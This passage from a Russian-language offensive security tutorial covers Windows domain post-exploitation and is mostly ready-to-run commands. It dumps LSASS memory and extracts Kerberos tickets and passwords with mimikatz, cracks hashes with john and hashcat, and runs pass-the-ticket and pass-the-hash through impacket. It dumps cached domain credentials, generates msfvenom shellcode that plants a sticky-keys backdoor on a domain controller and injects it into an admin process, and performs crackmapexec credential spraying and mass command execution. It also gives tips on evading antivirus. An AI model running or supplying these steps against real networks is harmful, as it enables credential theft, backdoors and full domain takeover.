Ес­ли анти­вирус не дает запус­тить упо­мяну­тые инс­тру­мен­ты, мы можем сде­лать дамп памяти про­цес­са lsass.exe. Есть как минимум три спо­соба:

      taskmgr.exe → ПКМ по lsass.exe → дамп памяти;
      rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624          C:\temp\lsass.dmp full;
      procdump.exe -ma lsass.exe /accepteula.

   Ес­ли дамп уда­лось соз­дать, то билеты мож­но безопас­но извлечь уже на сво­ей сто­роне:
       mimikatz.exe
       sekurlsa::Minidump lsass.dmp
       sekurlsa::tickets /export
   Од­нако иног­да анти­вирус не давал мне подоб­рать­ся к lsass.exe, что, в прин­ципе, и понят­но.

   Извлечение Kerberos-билетов через дамп физической памяти

   Ес­ли к про­цес­су никак не подоб­рать­ся, на помощь при­дет дамп всей физичес­кой памяти. Сде­лать это мож­но инс­тру­мен­том из откры­того фрей­мвор­ка по форен­зике rekall:
winpmem.exe --mode MmMapIoSpace --format raw --output ram.dmp.zip

   По­лучен­ный дамп будет вну­шитель­ного раз­мера — нес­коль­ко гигабай­тов. Для извле­чения из него билетов пот­ребу­ется отладчик WinDbg и пла­гин для него            mimilib.dll:
    windbg:> .symfix
    windbg:> .reload
    windbg:> !process 0 0 lsass.exe
   windbg:> .process /p /r EPROCESS
   windbg:> .load c:\path\to\mimikatz\mimilib.dll
    windbg:> !mimikatz

   Извлечение Kerberos-билетов из сетевого трафика

Дос­таточ­но эле­ган­тным решени­ем может быть перех­ват билетов из сетево­го тра­фика в момент их выг­рузки:
        TCPdump.exe -i 1 -nn -w out.pcap
       ./[extracttgsrepfrompcap.py]         (https://github.com/nidem/kerberoast/blob/master/extracttgsrepfrompcap.py) -f      out.pcap -w out.txt

Bruteforce TGS

   При­менять брут­форс‑ата­ку име­ет смысл толь­ко про­тив TGS Kerberos-билетов (билетов для дос­тупа к служ­бам), так как они зашиф­рованы паролем поль­зовате­ля:
       john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes-tgs.txt
       hashcat3 -a 0 -m 13100 hashes-tgs.txt /usr/share/wordlists/rockyou.txt

   Брут­форс будет про­исхо­дить на дос­таточ­но высокой ско­рос­ти — более 1 мил­лиона в секун­ду ($krb5tgs$23 RC4).

Pass-the-Ticket

   Ес­ли у нас име­ется Kerberos-билет TGT (билет поль­зовате­ля), то мы можем при­менить его для аутен­тифика­ции. При этом Linux и Windows исполь­зуют раз­ные фор­маты — ccache и kirbi соот­ветс­твен­но. В свою оче­редь, билеты могут быть изна­чаль­но пред­став­лены в любом из этих фор­матов, в зависи­мос­ти от того, из какой ОС мы их взя­ли. Но и вос­поль­зовать­ся ими нуж­но уметь для любой ОС.

Под Windows для импорта билета в фор­мате kirbi исполь­зует­ся сле­дующий под­ход:
       mimikatz# kerberos::ptt c:\path\to\tgt.kirbi

Для импорта в фор­мате ccache:
       mimikatz# kerberos::ptс c:\path\to\tgt.ccache

Пос­ле импорта исполь­зуем любую нуж­ную нам прог­рамму без ука­зания каких‑либо клю­чей:
       dir \\dc.company.org\c$

     Под Linux дела­ем Pass-the-Ticket в фор­мате ccache:
           cp tgt.ccache /tmp/krb5cc_0
            klist

   Как упо­мина­лось, Linux фор­мат kirbi не понима­ет. Поэто­му билет нуж­но скон­верти­ровать в ccache c помощью kekeo.exe:
              kekeo.exe "misc::convert ccache ticket.kirbi" "exit"
   Пос­ле импорта билеты в Linux исполь­зуем сле­дующим обра­зом:
                smbclient -k //dc.company.org/c$
                winexe -k yes -N //dc.company.org cmd

   Так­же инс­тру­мен­ты из набора impacket могут исполь­зовать билеты без пред­варитель­ного импорта:
         KRB5CCNAME=`pwd`/tgt.ccache psexec.py -k -dc-ip 10.0.0.1 target.domain.com
          KRB5CCNAME=`pwd`/tgt.ccache secretsdump.py -k -no-pass target.domain.com
        KRB5CCNAME=`pwd`/tgt.ccache atexec.py -k -no-pass -dc-ip 10.0.0.1 target.domain.com
        KRB5CCNAME=`pwd`/tgt.ccache services.py -k -no-pass -dc-ip 10.0.0.1 target.domain.com list
   Что­бы исполь­зовать Kerberos-билет при аутен­тифика­ции, нуж­но обра­щать­ся к target по име­ни, а не по IP-адре­су.

   Доменные учетные записи

   До­мен­ные учет­ные записи в инфраструк­туре ком­паний, исполь­зующих Active Directory, счи­тают­ся наибо­лее при­ори­тет­ной мишенью. Имен­но домен­ные учет­ные записи в ито­ге при­водят нас на кон­трол­лер домена.

Кеш хешированных доменных учетных записей

   Кеш хеширо­ван­ных учет­ных записей, или Domain Credential Cache, — это куст реес­тра, куда записы­вают­ся все успешные логоны в сис­тему под домен­ными учет­ными запися­ми на слу­чай, если кон­трол­лер домена в будущем ока­жет­ся недос­тупен. Содер­жимое это­го кеша лег­ко извлечь уже зна­комым нам спо­собом:
        reg.exe save hklm\security security
        reg.exe save hklm\system system

   В нем хра­нят­ся хеши домен­ных учет­ных записей. Что­бы получить их, выпол­няем сле­дующую коман­ду:
              creddump7\cachedump.py system security true
   Для ста­рых вер­сий Windows creddump7 не всег­да извле­кает хеши, в таком слу­чае может при­годить­ся ста­рый же вари­ант creddump:
              creddump\cachedump.py system security

   Ана­логич­но мож­но вос­поль­зовать­ся инс­тру­мен­том из impacket:
               secretsdump.py -system system -security security LOCAL

   Из того же кеша есть шанс получить сох­ранен­ные пароли для служб откры­тым тек­стом:
              creddump7\lsadump.py system security
   При боковом переме­щении шанс встре­тить в кеше учет­ную запись адми­нис­тра­тора домена очень велик. Прав­да тут есть одно но: пос­коль­ку это кеш, то нет гаран­тии, что пароль пос­ле кеширо­вания не менял­ся.

   Су­щес­тву­ет две вер­сии это­го хеша — dcc1 (mscash1) и dcc2 (mscash2). Дан­ные хеш‑фун­кции име­ют абсо­лют­но оди­нако­вую дли­ну, и нез­нание вер­сии ОС может при­вес­ти к очень дол­гому безус­пешно­му под­бору пароля. Так, если у нас Windows XP/2003, то исполь­зует­ся dcc1:
     john --format=mscash hashes_dcc.txt --wordlist=/usr/share/wordlists/rockyou.txt
     hashcat -a 0 -m 1100 hashes_dcc.txt /usr/share/wordlists/rockyou.txt
 
   Ес­ли Windows Vista/2008–10/2019, то это dcc2:
        john --format=mscash2 hashes_dcc2.txt --wordlist=/usr/share/wordlists/rockyou.txt
       hashcat -a 0 -m 2100 hashes_dcc2.txt /usr/share/wordlists/rockyou.txt

   Учетные данные запущенных сессий

   До­мен­ные учет­ные записи так­же находят­ся в памяти про­цес­са lsass.exe. Это каса­ется толь­ко активных в дан­ный момент сес­сий. Спи­сок поль­зовате­лей и их про­цес­сов удоб­но про­верять встро­енной коман­дой qprocess *.

   Инс­тру­мен­ты mimikatz.exe или wce.exe уме­ют извле­кать для активных сес­сий хеши и пароли откры­тым тек­стом:
          mimikatz.exe privilege::debug sekurlsa::logonPasswords

   Од­нако анти­виру­сы почему‑то их очень не любят. Тут сно­ва на помощь может прий­ти тех­ника дам­па памяти.

    Из­вле­чение через дамп вир­туаль­ной памяти

   Де­лаем дамп одним из перечис­ленных выше спо­собов. Пос­ле это­го вос­поль­зуем­ся помощью mimikatz:
          sekurlsa::Minidump lsassdump.dmp
           sekurlsa::logonPasswords

Из­вле­чение через дамп физичес­кой памяти

   Как было ска­зано чуть рань­ше, анти­вирус может защитить lsass.exe от посяга­тель­ств и не поз­волить сдам­пить про­цесс ни одним из перечис­ленных спо­собов. Тут вновь воору­жаем­ся ути­литой winpmem.exe и дам­пим всю физичес­кую память. Анти­виру­су край­не слож­но обна­ружить про­цесс дам­па физичес­кой памяти, так как он выпол­няет­ся не через WinAPI-вызовы, а через пря­мое чте­ние памяти из режима ядра.

   Про­ана­лизи­ровать дамп памяти мы смо­жем с помощью отладчи­ка WinDbg и спе­циаль­ного модуля для него от авто­ра mimikatz:
           windbg:> .symfix
            windbg:> .reload
           windbg:> !process 0 0 lsass.exe
           windbg:> .process /p /r EPROCESS
           windbg:> .load c:\path\to\mimikatz\mimilib.dll
           windbg:> !mimikatz
   Так­же у всем извес­тно фрей­мвор­ка для форен­зики Volatility для этой цели сущес­тву­ет спе­циаль­ный модуль:
       volatility --plugins=/path/to/volatility_plugins/FrancescoPicasso -f pmem.img      mimikatz

      Ап­парат­ная изо­ляция про­цес­са lsalso.exe

   В сов­ремен­ных вер­сиях Windows нас может ждать неп­рият­ный сюр­приз в виде lsalso.exe — про­цес­са, защищен­ного тех­нологи­ей вир­туали­зации. Сущес­тву­ют, конеч­но, тех­ники, свя­зан­ные с регис­тра­цией про­вай­дера LSASS:
          mimikatz.exe misc:memssp

   Но тут при­дет­ся ждать, пока админ выпол­нит пов­торный логон. Вве­ден­ные учет­ные дан­ные будут записа­ны в c:\windows\system32\mimilsa.log.
Но так ли нам нужен пароль это­го адми­нис­тра­тора домена? Подума­ем хорошень­ко: мы заш­ли на сер­вер под одной учет­ной записью и хотим получить пароль от дру­гой. В пре­делах текуще­го ПК и наша, и админ­ская учет­ки находят­ся на рав­ных уров­нях — мы оба локаль­ные адми­нис­тра­торы это­го ПК. Это зна­чит, что мы можем вза­имо­дей­ство­вать как с домаш­ним катало­гом нуж­ной нам учет­ки, так и с памятью его про­цес­сов.

   Го­воря более кон­крет­но, мы име­ем пол­ное пра­во писать код в память про­цес­сов, работа­ющих от име­ни домен­ного адми­нис­тра­тора, и запус­кать в нем про­изволь­ные потоки. То есть мы можем прос­то сге­нери­ровать шелл‑код с про­изволь­ной коман­дой и выпол­нить ее от име­ни адми­нис­тра­тора домена, заин­жектив ее в любой про­цесс нуж­ного поль­зовате­ля. И для это­го нам не пот­ребу­ется даже пароль это­го адми­на:
     msfvenom -p windows/exec CMD="wmic /node:10.0.0.10 process call create 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File      Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"'" -f raw -e x86/alpha_mixed -o shellcode.txt exitfunc=thread
   Мы сге­нери­ли шелл‑код, который с помощью WMI выпол­нит на кон­трол­лере домена коман­ду, акти­виру­ющую sticky keys. Желатель­но сде­лать этот шелл‑код как мож­но более безобид­ным — в дан­ном слу­чае он закоди­рован в ASCII-коман­ды, так что будет выг­лядеть как прос­той тек­сто­вый файл. Обыч­но анти­виру­сы такое не тро­гают.

   Те­перь все, что нам нуж­но, — это выб­рать про­цесс адми­нис­тра­тора домена с помощью коман­ды qprocess *. Час­то админ­ские про­цес­сы висят в парал­лель­ной сес­сии RDP, иног­да — забытой. Поэто­му в качес­тве цели мож­но взять, нап­ример, explorer.exe. Далее мы выделя­ем в нем нем­ного памяти, записы­ваем туда наш шелл‑код и запус­каем поток c помощью shellcode_inject.exe:
       shellcode_inject.exe PID shellcode.txt
   Толь­ко что мы внед­рили в кон­текст адми­нис­тра­тора домена код, который на кон­трол­лере домена уда­лен­но запус­тил коман­ду, акти­виру­ющую бэк­дор. Теперь под­клю­чим­ся к это­му домену:
rdesktop dc.company.org

Мы уви­дим хорошо зна­комую кар­тину.

   Ре­зуль­тат внед­рения шелл‑кода в админ­ский про­цесс — акти­вация бэк­дора на кон­трол­лере домена
Дос­туп к кон­трол­леру домена получен. Это зна­чит, что мы можем выпол­нить реп­ликацию домен­ных учет­ных записей, вклю­чая сис­темную учет­ную запись krbtgt. С ее помощью мож­но «нарисо­вать» TGT Kerberos-билет того самого адми­на и авто­ризо­вать­ся от его име­ни уже вто­рой раз, не зная никако­го пароля. Эта тех­ника называ­ется golden ticket).

   Под­ведем неболь­шой итог по самым рас­простра­нен­ным типам хешей Windows и областям их исполь­зования.

Lateral movement

   Так или ина­че, для боково­го переме­щения на вхо­де мы можем иметь учет­ные записи в одной из перечис­ленных ниже форм:

па­ролей откры­тым тек­стом;
NTLM-хешей;
Kerberos-билетов.

   О том, как их исполь­зовать сра­зу на мно­жес­тве целей, мы погово­рим ниже.

Credentials spraying

   Са­мо по себе боковое переме­щение — это, как пра­вило, мас­совое исполне­ние кода, то есть запуск одной и той же коман­ды на груп­пе целей. При этом оно час­то выпол­няет­ся всле­пую, осо­бен­но на началь­ной ста­дии, ког­да нет раз­ведан­ного пути получе­ния учет­ной записи адми­на.

   По­это­му важ­но уметь исполнять код раз­ными спо­соба­ми не на одной машине, а сра­зу на груп­пе целей. Тут луч­ший, на мой взгляд, инс­тру­мент — crackmapexec. Эта тул­за име­ет край­не богатый арсе­нал фун­кций. Она может быть исполь­зована так­же для брут­форса и мно­го чего еще, что выходит за рам­ки дан­ной статьи.
Син­таксис для исполь­зования локаль­ных учет­ных записей выг­лядит сле­дующим обра­зом:
       cme smb -d . -u username -p password targets.txt
   Для домен­ных:
       cme smb -d domain -u username -p password targets.txt

   При этом любой аргу­мент может быть как зна­чени­ем, так и фай­лом, содер­жащим спи­сок зна­чений. Перед тем как начать мас­сово исполнять код, нуж­но опре­делить­ся, какие учет­ные записи на какие ПК име­ют дос­туп.

   Для какой‑то кон­крет­ной учет­ки мы можем сде­лать про­вер­ку прав сра­зу на груп­пе целей:
      cme smb -d . -u admin -p passwd --shares targets.txt 2>&1 | grep Pwn3d
   Ча­ще при боковом переме­щении име­ешь дело не с одной, а с десят­ками, а то и c сот­нями учет­ных записей. В новых вер­сиях cme для это­го появи­лась воз­можность про­вер­ки combo-сочета­ний:
       cme smb -d domain -u users.txt -p passwords.txt --no-bruteforce --continue-on-     success --shares targets.txt 2>&1 | grep Pwn3d
       cme smb -d domain -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --shares targets.txt 2>&1 | grep Pwn3d
   Все учет­ные записи, которые к чему‑то подош­ли, сох­раня­ются в базе и дос­тупны через коман­ду cmedb. Коман­ду мож­но исполь­зовать с целью получе­ния информа­ции для SMB:
        cmedb> proto smb

   Спи­сок сох­ранен­ных учет­ных записей:
           cmedb> creds
   Спи­сок хос­тов, на которые были попыт­ки вхо­да:
           cmedb> hosts

   Сох­ранен­ные таким обра­зом учет­ные записи в даль­нейшем мож­но исполь­зовать в cme по ID:
   cme smb -id 7 --shares targets.txt

   Массовое исполнение кода

   В какой‑то момент нам может пот­ребовать­ся тупо запус­кать какую‑то прог­рамму на груп­пе целей. И если для точеч­ного запус­ка команд мы исполь­зовали вся­кие psexec, то для мас­сового исполь­зуем cme. Для выпол­нения прос­той коман­ды мож­но вос­поль­зовать­ся сле­дующей дирек­тивой:
        cme smb -d . -u admin -p s3cr3t -x 'ipconfig' targets.txt

   Для выпол­нения коман­дле­тов PowerShell:
        cme smb -d . -u admin -p s3cr3t -X 'Get-Service' targets.txt
Ис­полне­ние команд раз­ными спо­соба­ми:
     cme smb --exec-method smbexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
     cme smb --exec-method wmiexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
     cme smb --exec-method atexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
     cme winrm -d . -u admin -p s3cr3t -x ipconfig targets.txt
   Используем технику Pass-the-Hash на группе целей:
          cme smb -d . -u admin -H   aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x     'ipconfig' targets.txt
Ис­поль­зуем тех­нику Pass-the-Ticket на груп­пе целей:
         KRB5CCNAME=$(pwd)/tgt.ccache cme smb -k -u admin -x 'ipconfig' targets.txt
   Так­же cme поз­воля­ет пол­ностью авто­мати­зиро­вать про­цесс сбо­ра локаль­ных учет­ных записей и кеша домен­ных:
        cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --sam targets.txt
cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --lsa targets.txt
   Эта коман­да авто­мати­зиру­ет прак­тичес­ки все опи­сан­ные выше дей­ствия — соберет все, что мож­но, исполь­зуя каж­дую из учет­ных записей. Так­же crackmapexec име­ет допол­нитель­ные модули, рас­ширя­ющие его и без того богатую фун­кци­ональ­ность. В час­тнос­ти, име­ется модуль mimikatz для мас­сового извле­чения домен­ных уче­ток активных сес­сий:
        cme smb -M mimikatz -id 8 targets.txt

   Од­нако запус­кать его в реаль­ной сре­де я бы не рекомен­довал из‑за высоко­го рис­ка обна­руже­ния анти­виру­сом.
Windows име­ет довольно мно­го раз­ных осо­бен­ностей, поз­воля­ющих нам «переп­рыгивать» с одно­го хос­та на дру­гой. Мно­гие из данных трю­ков, эти как PTH, вооб­ще говоря, явля­ются уяз­вимос­тями, но Microsoft не желает их зак­рывать. Например они перехо­дят в раз­ряд «фич», которые нав­сегда оста­нут­ся в нашем арсе­нале.